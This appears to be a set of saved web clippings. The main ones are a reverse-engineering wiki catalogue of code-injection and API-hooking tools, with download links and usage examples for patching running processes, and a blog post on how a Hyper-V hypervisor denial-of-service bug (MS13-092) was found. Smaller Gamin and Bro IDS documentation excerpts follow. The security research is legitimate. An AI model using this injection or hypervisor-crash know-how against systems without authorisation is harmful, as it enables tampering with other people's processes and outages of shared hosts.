much sets the benchmark when it comes to API hooking. Why don't we get a
comparison out of the way quickly then?  
  
  
Detours vs. Mhook  
  
Detours is available for free with a noncommercial license but it only
supports the x86 platform. Detours can also be licensed for commercial use
which also gives you full x64 support, but you only get to see the licensing
conditions after signing an NDA.  
  
Mhook is freely distributed under an MIT license with support for x86 and x64.  
  
Detours shies away from officially supporting the attachment of hooks to a
running application. Of course, you are free to do it - but if you end up
causing a random crash here or there, you can only blame yourself.  
  
Mhook was meant to be able to set and remove hooks in running applications –
after all, that’s what you need it for in the real world. It does its best to
avoid overwriting code that might be under execution by another thread.  
  
Detours supports transactional hooking and unhooking; that is, setting a bunch
of hooks at the same time with an all-or-nothing approach. Hooks will only be
set if all of them can be set, otherwise the library will roll back any
changes made. Mhook does not do this.  
  
Finally, Mhook is pretty lazy when it comes to managing memory for the
trampolines it uses. Detours allocates blocks of memory as needed, and uses
the resulting data area to store as many trampolines within as will fit.
Mhook, on the other hand, uses one call to VirtualAlloc per hook being set.
Every hook needs less than 100 bytes of storage so this is very wasteful,
since VirtualAlloc ends up grabbing 64K from the process' virtual address
space every time Mhook calls it. \(Actual allocated memory will be a single
page which is also quite wasteful.\) In the end though, this probably does not
really matter, unless you are setting a very large number of hooks in an
application. Also, this is very easy to fix.  
  
With that out of the way, if you’re still here, let’s delve into it.  
  
  
Future Improvements  
  
Mhook is far from perfect. The following things should be addressed in the
future:  
  
\* Implement a memory allocator so one call to VirtualAlloc can service
multiple hooks  
\* Improve the thread-suspension code so it can deal with threads that are
spawned during the execution of the thread-suspension process itself  
\* Improve error handling so meaningful failure codes can be retrieved by
GetLastError  
\* For the truly paranoid: deal with possible conflicts with other hooking
libraries \(what if Mhook\_SetHook is called on a function that is currently
hooked with Detours, etc\)  
\* Add support for IA64 \(Itanium\)  
  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| N-CodeHook| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Jan Newger  
Website:| http://newgre.net/ncodehook  
Current version:| 1.0.1  
Last updated:| July 07, 2008  
Direct D/L link:| http://newgre.net/system/files/NCodeHook.rar  
License type:| Free / Open Source  
Description:| N-CodeHook is a small template based C++ library which allows
you to hook into functions via inline patching.  
For some background info see the blog post or read the paper from the detours
website on how inline patching works. Detours uses the same mechanism as
N-CodeHook, but requires you to buy a license for the X64 version. Besides the
IA32 version must not be used for commercial purposes.  
N-CodeHook however is completely free and you can use it for whatever you
like.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| N-InjectLib| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Jan Newger  
Website:| http://newgre.net/ninjectlib  
Current version:| 1.0.2  
Last updated:| July 14, 2008  
Direct D/L link:| http://newgre.net/system/files/NInjectLib.rar  
License type:| Free / Open Source  
Description:| N-InjectLib is a library written in C++ which allows of
injecting dynamic link libraries into a remote \(i.e. foreign\) process.  
Two techniques are available to inject a dll: the target process can be
started by using the library so the first dll loaded actually is the dll to be
injected, or dlls can be injected anytime while the target process is running.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| NetAsm| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Alexandre Mutel  
Website:| http://www.codeplex.com/netasm  
Current version:| 1.0  
Last updated:| July 25, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| NetAsm provides a hook to the .NET JIT compiler and enables to
inject your own native code in replacement of the default CLR JIT compilation.
With this library, it is possible, at runtime, to inject x86 assembler code in
CLR methods with the speed of a pure CLR method call and without the cost of
Interop/PInvoke calls.  
  
NetAsm can be used to integrate optimized native code using CPU extended
instructions \(SSE,MMX\) into your managed code. The NetAsmDemo sample
provides two benchmarks that unveil the power of using native code injection
with NetAsm.  
  
For more information about NetAsm, code injection techniques and
recommendations, please consult the NetAsm-UserGuide.  
Also listed in:| .NET Code Injection Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| NtHookEngine| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Daniel Pistelli  
Website:| http://www.ntcore.com/Files/nthookengine.htm  
Current version:| 1.1  
Last updated:| April 1, 2008  
Direct D/L link:| http://www.ntcore.com/Files/nthookengine/nthookengine.zip  
License type:| Free / Open Source  
Description:| NtHookEngine is a powerful x86/x64 mini hook-engine  
  
I wrote this little hook-engine for a much bigger article. Sometimes it seems
such a waste to write valuable code for large articles whose topic isn't
directly related to the code. This often leads to the problem that the code
won't be found by the people who are looking for it.  
  
Personally, I would've used Microsoft's Detour hook engine, but the free
license only applies to x86 applications, and that seemed a little bit too
restrictive to me. So, I decided to write my own engine in order to support
x64 as well. I've never downloaded Detour nor have I ever seen its APIs, but
from the general overview given by Microsoft it's easy to guess how it works.  
  
As I said, this is only a part of something bigger. It's not perfect, but it
can easily become such. Since this is not a beginner's guide about hooking, I
assume that the reader already possesses the necessary knowledge to understand
the material. If you never heard about this subject, you'd better start with
another article. There's plenty of guides out there, no need to repeat the
same things here.  
  
As everybody knows there's only one easy and secure way to hook a Win32 API:
to put an inconditional jump at the beginning of the code to redirect it to
the hooked function. And by secure I just mean that our hook can't be
bypassed. Of course, there are some other ways, but they're either complicated
or insane or both. A proxy dll, for instance, might work in some cases, but
it's rather insane for system dlls. Overwriting the IAT is unsecure for two
reasons:  
  
a\) The program might use GetProcAddress to retrieve the address of an API
\(and in that case we should handle this API as well\).  
b\) It's not always possible, there are many cases as for packed programs
where the IAT gets built by the protection code and not by the Windows loader.  
  
Ok, I guess you're convinced. Let's just say that there's a reason why
Microsoft also uses this method.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Nucleus Framework| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| PAPiLLiON  
Website:| http://www.woodmann.com/forum/showthread.php?t=12009  
Current version:| 1.0.0028.1059  
Last updated:| August 18, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| Today i decided that it's a good day for the initial release of
my nucleus framework.  
  
What you can do with it:  
  
\- Inject a specified DLL to a targets' address space  
  
That's it. Extremely minimal usage for the first release but who cares  
Would be nice if some would test it and tell me if it works.  
  
  
USAGE: nucleus <switches> target.exe  
  
\--help, --h, -help, -h  
  
display usage help. also displayed if no parameter is selected  
  
  
\--log, --l, -log, -l <logging mode>  
  
select logging mode. 1 = LOG\_MODE\_STDOUT - log to stdout  
2 = LOG\_MODE\_FILE - log to file  
4 = LOG\_MODE\_NOLOG - log disabled  
mode 1 and 2 can be used in combination\(expl. 3 for stdout and file  
together\). if no logging mode selected 1 is default  
  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| PIN| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Intel  
Website:| http://rogue.colorado.edu/pin  
Current version:| 2.3 \(rev 18525\)  
Last updated:| April 10, 2008  
Direct D/L link:| _N/A_  
License type:| Free / Open source  
Description:| Pin is a tool for the dynamic instrumentation of programs. It
supports Linux binary executables for Intel \(R\) Xscale \(R\), IA-32, IA-32E
\(64 bit x86\), and Itanium \(R\) processors. It also allow instrumentation of
Windows programs on IA-32 and Intel \(R\) 64 processors  
  
Pin was designed to provide functionality similar to the popular ATOM toolkit
for Compaq's Tru64 Unix on Alpha, i.e. arbitrary code \(written in C or C++\)
can be injected at arbitrary places in the executable. Unlike Atom, Pin does
not instrument an executable statically by rewriting it, but rather adds the
code dynamically while the executable is running. This also makes it possible
to attach Pin to an already running process.  
  
Pin provides a rich API that abstracts away the underlying instruction set
idiosyncrasies and allows context information such as register contents to be
passed to the injected code as parameters. Pin automatically saves and
restores the registers that are overwritten by the injected code so the
application continues to work. Limited access to symbol and debug information
is available as well.  
  
Pin includes the source code for a large number of example instrumentation
tools like basic block profilers, cache simulators, instruction trace
generators, etc. It is easy to derive new tools using the examples as a
template.  
Also listed in:| Profiler Tools, Tracers  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Process Inject| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| ap0x  
Website:| http://ap0x.jezgra.net/patchers.html  
Current version:| 0.1  
Last updated:|  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| Process.Inject 0.1  
\--------------------  
  
WARNING: Do not rename inject.exe\!  
  
How to use:  
inject.exe -p<PID> -a<ADDRESS> -b<BYTES> -l<LENGTH>  
inject.exe -p<PID> -a<ADDRESS> -f<FILE>  
inject.exe -p<PID> -n<ALLOCSIZE>  
inject.exe -p<PID> -r<THREADSTART>  
  
<PID> = ProcessID \[hex\]  
<ADDRESS> = Address where to insert bytes \[hex\]  
<BYTES> = Patch bytes \[hex\]  
<LENGTH> = Number of bytes to write \(1..4\)  
<FILE> = Path to file to inject in memory \(.bin\)  
<ALLOCSIZE> = Size of memory to allocate in target process \[hex\]  
<THREADSTART> = New thread\`s start address \[hex\]  
  
Example:  
inject.exe -p101 -a00401000 -bEBFE -l2  
inject.exe -p101 -a00401000 -fC:\inject\_me.bin  
inject.exe -p101 -n1000  
inject.exe -p101 -r00830000  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| PunchIt| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| CondZero / ARTeam  
Website:| http://arteam.accessroot.com  
Current version:| 1.1  
Last updated:| October 2nd 2008  
Direct D/L link:| http://arteam.accessroot.com/releases.html?fid=25  
License type:| Free  
Description:| It is a program useful to automatically inject into ANY
application your sound and music. The music will be played in background when
the program runs as before.  
  
The tool comes with a tutorial explaining how it works, trick and useful hints
found coding it, and of its sources ..  
  
Get the tutorial here:  
  
http://arteam.accessroot.com/tutorials.html?fid=200  
  
and the tool here  
  
http://arteam.accessroot.com/releases.html?fid=25  
  
Release notes of version 1.1  
\+ minor updates to improve stability  
\+ updated bass audio module v2.4.1  
\+ updated PECompact2 Student Build v2.94.1  
\+ \(\*new\) Incorporates source Icon in distribution file \(if exists\)  
  
I admit the Icon changing routine is a bit lame, but works even if it only
takes  
1st icon entry for MainIcon group of source executable.  
I modded program so that PECompact2 doesn't compress resources allowing anyone  
to change the Icon in the output file to whatever they would like using a 3rd
party  
tool \(i.e. reshacker, Icon Exe changer, etc.\)  
  
Please test and report any probs. As is usually the case, if you choose a
packed / protected  
source executable, you may run into problems compressing and should choose the
non compress  
option. This is not a fault of the application, but a limitation imposed by
compressor programs  
such as PECompact2 \(Student build\) v1.94.1 \(latest\).  
Also listed in:| GUI Manipulation Tools, Resource Editors  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| SpyStudio| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Nektra  
Website:| http://www.nektra.com/products/spystudio  
Current version:| 1.0.0b  
Last updated:| February 2008  
Direct D/L link:| http://www.nektra.com/products/spystudio/spystudio.exe  
License type:| Free  
Description:| SpyStudio is a powerful application that simplifies the code
execution interception operations, also called "hooking". Users can now easily
monitor and gain control over processes in their systems, to really know what
is happening in the Operating System and it's applications.  
  
With SpyStudio you can monitor and intercept API calls at any time, change its
parameters, and resume execution.  
  
SpyStudio uses the Deviare API technology to intercept functions' calls, this
allows the user to monitor and hook applications in real time.  
Deviare is a very complex technology, that can be used through the most simple
interfaces.  
  
This useful application provides the ability to break process execution and
inspect the function's parameters at any level, and even change its values.  
  
\* Hooks any module of any application.  
  
\* Understands almost any function's parameters. Every defined data structures
and types in windows.h are supported.  
  
\* Break on monitor: Break application's code execution, watch and modify
function's parameters.  
  
\* Integrated Python shell: Now allows to execute Python scripts and handle
hooks\!  
  
\* Some of the modules included on the database are:  
  
Advapi32.dll  
Gdi32.dll  
Kernel32.dll  
Ntdll.dll  
User32.dll  
Shell32.dll  
Wininet.dll  
Also listed in:| API Monitoring Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Valgrind| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:|  
Website:| http://valgrind.org  
Current version:| 3.2.3  
Last updated:| January 29, 2007  
Direct D/L link:| _N/A_  
License type:| Free / Open Source  
Description:| Valgrind is an award-winning suite of tools for debugging and
profiling Linux programs. With the tools that come with Valgrind, you can
automatically detect many memory management and threading bugs, avoiding hours
of frustrating bug-hunting, making your programs more stable. You can also
perform detailed profiling, to speed up and reduce memory use of your
programs.  
  
The Valgrind distribution currently includes four tools: a memory error
detector, a cache \(time\) profiler, a call-graph profiler, and a heap
\(space\) profiler. It runs on the following platforms: X86/Linux,
AMD64/Linux, PPC32/Linux, PPC64/Linux.  
Also listed in:| Linux Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Win32 CodeHook| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Wang Qi  
Website:| http://www.kbasm.com/codehook.html  
Current version:| 1.0.0  
Last updated:|  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| Win32 CodeHook is an open source library for binary code hook
and redirect for Win32 Delphi and C++.  
  
Features and advantages  
1\. Can hook function that starts with jump instructions.  
Most other simple API/code hook technic can not hook functions that first
several instructions include jump instructions such like jmp, jcc \(jump if
condition is met\), call, jecxz, etc.  
CodeHook can rewrite those instructions in a safe way and continue hooking.  
The only instructions that can prevent CodeHook from hooking are ret and iret,
which indicate the function end is met and the function is too short to hook.  
  
2\. Very easy to use.  
CodeHook not only supports raw mode code hooking, it also supports advanced
hooking.  
CodeHook can generate "bridge code" that connects your hook code to the target
code.  
Thus you only need to writer hook code in a unique form \(unique prototype
functions\) rather than writting different hook code for different target.  
The typical hook prototype is,  
Delphi syntax: function HookCallback\(AHandle: TCodeHookHandle; AParams:
PCodeHookParamAccessor\): Cardinal; CallingConvertion;  
C++ syntax: DWORD CallingConvertion HookCallback\(TCodeHookHandle AHandle,
PDWORD AParams\);  
This feature makes it possible to use one hook function to hook multiple
functions. See the Delphi sample code. And this is how I do in the new Denomo
package.  
And even better, both of the hook and target functions can have various
calling conventions. The calling conventions now supported are stdcall \(used
by Windows APIs\), cdecl \(used by C\), and register call \(used by Delphi\).  
  
3\. Very flexible.  
CodeHook separates your hook function from the target function. Your hook
function can fully replace the target function, or call old target function in
the hook function in any time you want.  
And even more flexible, you can easily modify the parameters before passing
them to the old target function.  
  
4\. Can be used by any program language which can use a DLL.  
Though CodeHook is written in Delphi, the CHook.dll can be used by any other
languages such like C++. In fact CodeHook has sample code that written in
Delphi and C++. The sample C++ code can be compiled by VC6 and Borland C++ 5.5
or C++ Builder \(BCB\).  
  
5\. Free and open source.  
The license is MPL.  
  
6\. More feature will come soon.  
CodeHook was made to use in Denomo \(a memory leak detection tool\), so it now
only supports in-process hooking. But inter-process hooking and DLL injection
will be added in the near future versions.  
  
CodeHook itself has been verified that it can be compiled by Delphi 7 and
Delphi 2007. It should but not must be able to be compiled by Delphi 6, Delphi
2005, and Delphi 2006.  
CHook.dll can be used by any language that supports DLL, pointer, and data
structure.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Win32Hook| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Russell Libby  
Website:| http://users.adelphia.net/~rllibby/source.html  
Current version:|  
Last updated:| February 14, 2006  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| Delphi unit that provides IAT updating, code overwriting \(uses
DISASM32 for this\), and library injection. All handling is done using class
objects, and should be relatively simple to use.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  

<img src='img/Temp2_1394' width='16' height='16' alt='RSS feed' /> Feed
containing all updates and additions for this category.

<img src='img/Temp2_1394' width='16' height='16' alt='RSS feed' /> Feed
containing all updates and additions for this category, including sub-
categories.

  

### Subcategories

There is one subcategory to this category.

  * <img src='img/Temp2_1396' width='9' height='9' />.NET Code Injection Tools \(3\)

  

Retrieved from
"http://www.woodmann.com/collaborative/tools/index.php/Category:Code\_Injection\_Tools"

  
  
  

Parent Categories: Categorized by Tool Type | PE Executable Editors
##### Views

##### Personal tools

  * 89.238.75.147
  * Talk for this IP
  * Register

##### Category Navigation Tree

RCE Tools

<img src='img/Temp2_1397' width='9' height='9' /> Categorized by Target Type
\(175\)

<img src='img/Temp2_1395' width='9' height='9' /> Categorized by Tool Type
\(964\)

<img src='img/Temp2_1397' width='9' height='9' /> Anti Anti Test Tools \(14\)

<img src='img/Temp2_1397' width='9' height='9' /> Assemblers \(15\)

<img src='img/Temp2_1396' width='9' height='9' />Code Coverage Tools \(12\)

<img src='img/Temp2_1397' width='9' height='9' /> Code Injection Tools \(32\)

<img src='img/Temp2_1396' width='9' height='9' />Code Ripping Tools \(2\)

<img src='img/Temp2_1396' width='9' height='9' />Crypto Tools \(5\)

<img src='img/Temp2_1397' width='9' height='9' /> Data Extraction Tools \(18\)

<img src='img/Temp2_1397' width='9' height='9' /> Debuggers \(42\)

<img src='img/Temp2_1397' width='9' height='9' /> Decompilers \(20\)

<img src='img/Temp2_1397' width='9' height='9' /> Deobfuscation Tools \(11\)

<img src='img/Temp2_1396' width='9' height='9' />Dependency Analyzer Tools
\(5\)

<img src='img/Temp2_1397' width='9' height='9' /> Diff Tools \(28\)

<img src='img/Temp2_1397' width='9' height='9' /> Disassemblers \(45\)

<img src='img/Temp2_1397' width='9' height='9' /> Dongle Analysis Tools \(24\)

<img src='img/Temp2_1397' width='9' height='9' /> Exe Analyzers \(31\)

<img src='img/Temp2_1396' width='9' height='9' />Firefox Extensions \(1\)

<img src='img/Temp2_1397' width='9' height='9' /> GUI Manipulation Tools
\(14\)

<img src='img/Temp2_1397' width='9' height='9' /> Hardware Reversing Tools
\(24\)

<img src='img/Temp2_1396' width='9' height='9' />Hex Editors \(12\)

<img src='img/Temp2_1396' width='9' height='9' />IDA Signature Creation Tools
\(5\)

<img src='img/Temp2_1397' width='9' height='9' /> Kernel Tools \(11\)

<img src='img/Temp2_1396' width='9' height='9' />Memory Data Tracing Tools
\(6\)

<img src='img/Temp2_1396' width='9' height='9' />Memory Patchers \(3\)

<img src='img/Temp2_1396' width='9' height='9' />Memory Search Tools \(7\)

<img src='img/Temp2_1397' width='9' height='9' /> Monitoring Tools \(108\)

<img src='img/Temp2_1397' width='9' height='9' /> Network Tools \(15\)

<img src='img/Temp2_1395' width='9' height='9' /> PE Executable Editors \(78\)

<img src='img/Temp2_1397' width='9' height='9' /> .NET Executable Editors
\(7\)

<img src='img/Temp2_1397' width='9' height='9' /> Code Injection Tools \(32\)

<img src='img/Temp2_1396' width='9' height='9' />Executable CRC Calculators
\(3\)

<img src='img/Temp2_1396' width='9' height='9' />Export Editors \(2\)

<img src='img/Temp2_1396' width='9' height='9' />Import Editors \(7\)

<img src='img/Temp2_1396' width='9' height='9' />PE EXE Signature Tools \(2\)

<img src='img/Temp2_1396' width='9' height='9' />Relocation Tools \(4\)

<img src='img/Temp2_1397' width='9' height='9' /> Resource Editors \(11\)

<img src='img/Temp2_1397' width='9' height='9' /> Packers \(16\)

<img src='img/Temp2_1397' width='9' height='9' /> Patch Packaging Tools \(7\)

<img src='img/Temp2_1396' width='9' height='9' />Profiler Tools \(10\)

<img src='img/Temp2_1397' width='9' height='9' /> Programming Libraries \(31\)

<img src='img/Temp2_1396' width='9' height='9' />Regular Expression Tools
\(3\)

<img src='img/Temp2_1397' width='9' height='9' /> Resource Editors \(11\)

<img src='img/Temp2_1396' width='9' height='9' />Reverse Engineering
Frameworks \(7\)

<img src='img/Temp2_1397' width='9' height='9' /> Source Code Tools \(11\)

<img src='img/Temp2_1396' width='9' height='9' />String Finders \(5\)

<img src='img/Temp2_1397' width='9' height='9' /> Symbol Tools \(11\)

<img src='img/Temp2_1396' width='9' height='9' />System Information Extraction
Tools \(7\)

<img src='img/Temp2_1397' width='9' height='9' /> Technical PoC Tools \(7\)

<img src='img/Temp2_1397' width='9' height='9' /> Test and Sandbox
Environments \(16\)

<img src='img/Temp2_1397' width='9' height='9' /> Tool Extensions \(133\)

<img src='img/Temp2_1396' width='9' height='9' />Tool Hiding Tools \(5\)

<img src='img/Temp2_1397' width='9' height='9' /> Tool Signatures \(21\)

<img src='img/Temp2_1397' width='9' height='9' /> Tracers \(17\)

<img src='img/Temp2_1397' width='9' height='9' /> Unpacking Tools \(58\)

<img src='img/Temp2_1396' width='9' height='9' />Needs New Category \(1\)

##### Search

  

  * Full Library Index
  * Most Recent Updates

  

Also visit our forums and blogs\!

  * This page has been accessed 10,640 times.

  
Do you have any feedback about the site, or want to discuss something about it
with other users or admins? In that case click here\!

# Python bindings

**Created:**| _10/25/2010 8:11:17 PM_  
---|---  
**Updated:**| _10/26/2010 7:31:54 AM_  
**Author:**| _wishi_  
**Tags:**| _programming projects rsyncfs_  
  
| | 
# Gamin the File Alteration Monitor

## Python bindings  
---  
| | | **Main Menu**  
---  
  * Home
  * Overview
  * Using gamin
  * Configuration
  * News
  * Downloads
  * Python bindings
  * Developers informations
  * Contacts
  * FAQ
  * Debugging Gamin
  * Security
  * Internals
  * Differences from FAM
  * ChangeLog

  
**Related links**  
---  
  * Mail archive
  * FAM project
  * sources
  * GNOME Bugzilla
  * Red Hat Bugzilla

  
| | | Starting with release 0.0.21, gamin comes with Python bindings. Use "import gamin" to load the module. It exports the main class "WatchMonitor" which handle one connection to the gam\_server. Once an instance of the class has been created you can use the watch\_directory and watch\_file methods to register objects to monitors, and provide the callback to be called when events are generated. Like the FAM API, the python binding API is passive, i.e. one need  to  monitor the file descriptor provided with the get\_fd\(\) method to detect events, and call handle\_one\_event\(\) \(blocking\) or handle\_events\(\) \(non-blocking\) to process incoming events and get the callbacks appropriately. You can also use the event\_pending\(\) method to detect if handle\_one\_event\(\) would block or not.  
Since a short example is worth a thousand words, here is a small session from
the python shell:

[code]

    >>> import gamin
    >>>
    >>> def callback(path, event):
    ...     print "Got callback: %s, %s" % (path, event)
    ...
    >>> mon = gamin.WatchMonitor()
    >>> mon.watch_directory(".", callback)
    <gamin.WatchObject instance at 0xb7f7b56c>
    >>> mon.event_pending()
    1
    >>> mon.handle_one_event()
    Got callback: /u/veillard/temp, 8
    1
    >>> mon.handle_events()
    Got callback: bar1, 8
    Got callback: foo1, 8
    Got callback: /u/veillard/temp, 9
    3
    >>> mon.stop_watch(".")
    >>> del mon
    
[/code]

The corresponding standalone code follows:

[code]

    #!/usr/bin/env python
    
    import gamin
    import time
    
    def callback(path, event):
        print "Got callback: %s, %s" % (path, event)
    
    mon = gamin.WatchMonitor()
    mon.watch_directory(".", callback)
    time.sleep(1)
    ret = mon.event_pending()
    if ret > 0:
        ret = mon.handle_one_event()
        ret = mon.handle_events()
    mon.stop_watch(".")
    del mon
    
[/code]

Note the addition of the sleep timeout, it is needed because due to the round
trip between the client and the gam\_server, events may not be immediately
available after the monitor creation to the client. Daniel Veillard  
---

# Exploiting Hyper-V: How We Discovered MS13-092 - Insinuator

**Created:**| _1/16/2014 3:27:23 PM_  
---|---  
**Updated:**| _1/16/2014 3:27:23 PM_  
**Author:**| __  
**Tags:**| _virtusalisation windows environment_  
  

# **E** xploiting Hyper-V: How We Discovered MS13-092****

0 Comments | Posted by _Matthias Luft_
  * nicht mit Facebook verbunden
  * nicht mit Twitter verbunden
  * nicht mit Google+verbunden

During a recent research project we performed an in-depth security assessment
of Microsoft’s virtualization technologies, including Hyper-V and Azure**.**
While we already had experience in discovering security vulnerabilities in
other virtual environments \(e**.** g. here  and here \), this was our first
research project on the Microsoft virtualization stack and we took care to use
a structured evaluation strategy  to cover all potential attack vectors**.**  
Part of our research concentrated on the Hyper-V hypervisor itself and we
discovered a critical vulnerability which can be exploited by an unprivileged
virtual machine to crash the hypervisor and potentially compromise other
virtual machines on the same physical host**.** This bug was recently patched,
see MS13-092  and our corresponding post **.**  
  
In this post, we will focus on the DoS vulnerability, which is rated as
important and can affect the availability of the complete hypervisor and
potentially all cloud environments based on Hyper-V technology**.** We think
that a skilled and motivated attacker  can discover and exploit the
vulnerability within two to four weeks without the need for non-public
knowledge \(or a specific window of opportunity\)**.**  
Due to the close relationship between the Hyper-V and Azure hypervisor and the
fundamental nature of the exploit, we assume that our Proof-of-Concept code
will affect the Azure Cloud environment as well**.** As MS13-092 is an
official Microsoft Security Bulletin, we furthermore assume that the
vulnerability is patched in Azure in the meantime**.**  
The bug itself is caused by a mishandling of an error condition and was
discovered rather fast after the initial setup of our lab environment: Hyper-V
partitions can communicate with the hypervisor using so called hypercalls
**.** They work similar to system calls that are used to communicate between
ring 3 and 0 but operate between ring 0D  \(“guest-ring-0″\) and 0P
\(“hypervisor-ring-0″\) instead**.** The actual implementation differs between
AMD and Intel systems but the overall interface is the same**.**  
For Intel systems, the _vmcall_ instruction is used to execute a
hypercall**.** Register _rcx_ stores the hypercall number, _rdx_ and _r8_
contain the _guest physical address_ \(GPA\) of supplied input and output
parameters \(we ignore the so-called fast calling convention  for now\)**.**
On the hypervisor side, multiple checks are performed before the hypercall
handler is executed**.** This includes a check if the request originates from
Ring 0 \(no such restriction is enforced by Intel**.** The _vmcall_
instruction can also be executed from user mode from an unprivileged partition
\(read: typical virtual machine\), if all supplied memory addresses are
properly aligned**.** In addition the user supplied input GPA is checked
against an upper boundary as illustrated in the next image:

<img src='img/Temp2_2987.png' alt='hyperv-boundary' />

If this check fails, the code continues through an error handling function and
finally lands in the function at _hv+0x2B42DC_**.** This sub function uses the
user controlled input address \(now stored in _rax_\) directly for a memory
read as shown below:

<img src='img/Temp2_2986.png' alt='hyperv-check' />

  
Here, by choosing the right value for our input address we can trigger an
invalid memory read and crash the hypervisor itself, resulting in the infamous
BSOD**.**  
We think this bug is an interesting example for the kind of issues that can
compromise the security and availability assumptions that many users might
have with regard to their hypervisors and virtualized environments**.** We
will release our PoC, further detail on the \(even more interesting\)
privilege escalation part and additional Hyper-V research at our Troopers 14
talk**.** Furthermore the bug will be discussed in much more detail in our
Exploting Hypervisors  workshop at Troopers**.**  
  
Stay tuned,  
Felix & Matthias

cloud , exploit , Hyper-V , Virtualization

### No comments yet**.**

## Leave a comment\!

Name\* Mail\* \(will not be published\) Website Spam protection\*: Sum of 4 +
6 **?** Comment

## Preview**** :

Tomcat 7 Hardening Guide  >>

****

# Bro Blog: Intelligence Data and Bro

**Created:**| _2/11/2014 2:12:26 PM_  
---|---  
**Updated:**| _2/11/2014 2:12:26 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

# Intelligence Data and Bro

# Overview

Intelligence data, or feeds, are an important source of network security
information. Many internet security research centers, non-profit
organizations, and commercial organizations provide intellegence data sets
freely  
available to the public. \(e.g. Emerging Threats, Shadow Server, etc.\)

A solid solution for handling multiple intelligence feeds and acting upon them
is to use Bro's Intel Framework in conjunction with its Input Framework to log
hits seen on your network.

Hits, or matches, are logged and stored in intel.log.

[code]

    $ head /bro/logs/current/intel.log
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       seen.indicator  seen.indicator_type     seen.where      sources
    #types  time    string  addr    port    addr    port    string  string  string  string  enum    enum    table[string]
    1389646914.469513       Cb1T1Y3r56rjSRr0ac      70.173.122.62   49379   93.184.215.163  80      -       -       -       93.184.215.163  Intel::ADDR     Conn::IN_RESP   snort
    1389646925.095172       CeHuLr2IfATgjhQPUg      195.178.109.14  43471   227.146.143.88  5900    -       -       -       195.178.109.14  Intel::ADDR     Conn::IN_ORIG   CIF - need-to-know
    1389646979.298695       Cj9bjq43KThmM8TOA6      194.160.95.196  60430   119.254.16.21   80      -       -       -       www.dhgate.com  Intel::DOMAIN   HTTP::IN_HOST_HEADER    CIF - need-to-know
    1389636016.229788       CNXlzu1VdMhKVEDCPf      42.82.115.14    52518   184.72.106.52   443     -       -       -       184.72.106.52   Intel::ADDR     Conn::IN_RESP   tor
    1389636187.690988       CsGYCjrhwI313rWob       72.49.141.144   41270   118.219.221.39  3389      -       -       -     72.49.141.144   Intel::ADDR     Conn::IN_ORIG   ciarmy
    ...
    
[/code]

Each log entry consists of a number of fields describing the connection:

> ts:| Timestamp  
> ---|---  
> uid:| Unique ID of connection  
> id.orig\_h:| Connection originator's endpoint IP address  
> id.orig\_p:| Connection originator's endpoint TCP/UDP or ICMP code  
